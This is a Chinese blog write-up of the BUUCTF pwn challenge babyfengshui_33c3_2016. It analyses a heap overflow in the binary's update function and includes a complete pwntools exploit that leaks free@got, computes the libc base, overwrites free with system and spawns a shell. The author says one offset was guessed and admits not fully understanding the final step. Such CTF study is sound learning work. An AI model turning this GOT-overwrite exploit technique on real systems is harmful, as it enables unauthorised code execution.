buuctf-babyfengshui_33c3_2016

本文详细分析了一段Ubuntu 16.04 32位环境下关于堆溢出漏洞的利用过程,涉及堆管理、内存布局、栈保护机制以及libc库函数的利用。通过修改free_got表的地址为system函数地址,实现了在执行free操作时调用system('/bin/sh'),从而获取shell。文章通过实例展示了漏洞利用的步骤,包括添加、删除、更新堆块,泄露libc基址,以及构造payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ubuntu16

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)        //没开

基本就这里有点问题

 if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。

创建三个堆看一下布局

 在chunk0的指针

现在将free的地址改写为system的地址

 

我看是会创建两个堆块一个堆块是储存数据一个堆块储存姓名的
上面看到了update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x08be7000+0x80>=0x08be7008`
因为我free掉一个index0的就相当于把创建的name和text的内容的堆都free(0x88+0x88)
但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能
我们将free掉index0号堆然后重新申请0x100,就可以使他chunk-name和chunk-text不相邻,这样我们chunk-text就可以输入任意大小的数据

 

这样从申请的chunk-text溢出到chunk1的堆块的

 

hex(0x87311a0-0x8731000)-0x8 //这个我猜的,真实情况下还是一个个慢慢填调吧!

泄漏的libc来计算基地址,计算出getshell函数

p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)
libc_addr=free_addr-libc.symbols['free']
system=libc_addr+libc.symbols['system']

我们之前往chunk2中写入了’/bin/sh‘,现在将free的地址改写为system的地址,这样在执行free(chunk2)的时候就变成了执行system(’/bin/sh’)这样就可以获取shell了

update(1,0x8,p32(system))
delete(2)
p.interactive()

exp:

from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']
​
def add(size,name,length,text):
    p.recvuntil("Action: ")
    p.sendline("0")
    p.sendlineafter("size of description: ",str(size))
    p.sendlineafter("name: ",name)
    p.recvuntil("text length:")
    p.sendline(str(length))
    p.recvuntil("text:")
    p.sendline(text)
def delete(index):
    p.recvuntil("Action: ")
    p.sendline("1")
    p.recvuntil("index: ")
    p.sendline(str(index))
def show(index):
    p.recvuntil("Action: ")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(index))
def update(index,length,text):
    p.recvuntil("Action: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("text length: ")
    p.sendline(str(length))
    p.recvuntil("text: ")
    p.sendline(text)
​
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
​
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)
libc_addr=free_addr-libc.symbols['free']
system=libc_addr+libc.symbols['system']
print hex(system)
update(1,0x8,p32(system))
delete(2)
p.interactive()

总结:

看他上面的特性来说就是,他将你前面的free的堆块大小,正好被申请抢光了,他会到堆块的最后面申请空间

我还是懵的,为什么最后一步修改free_got表的地址可以这样来达到getshell,我还是迷迷糊糊的,改天逮一个师傅来!现在将free的地址改写为system的地址现在将free的地址改写为system的地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值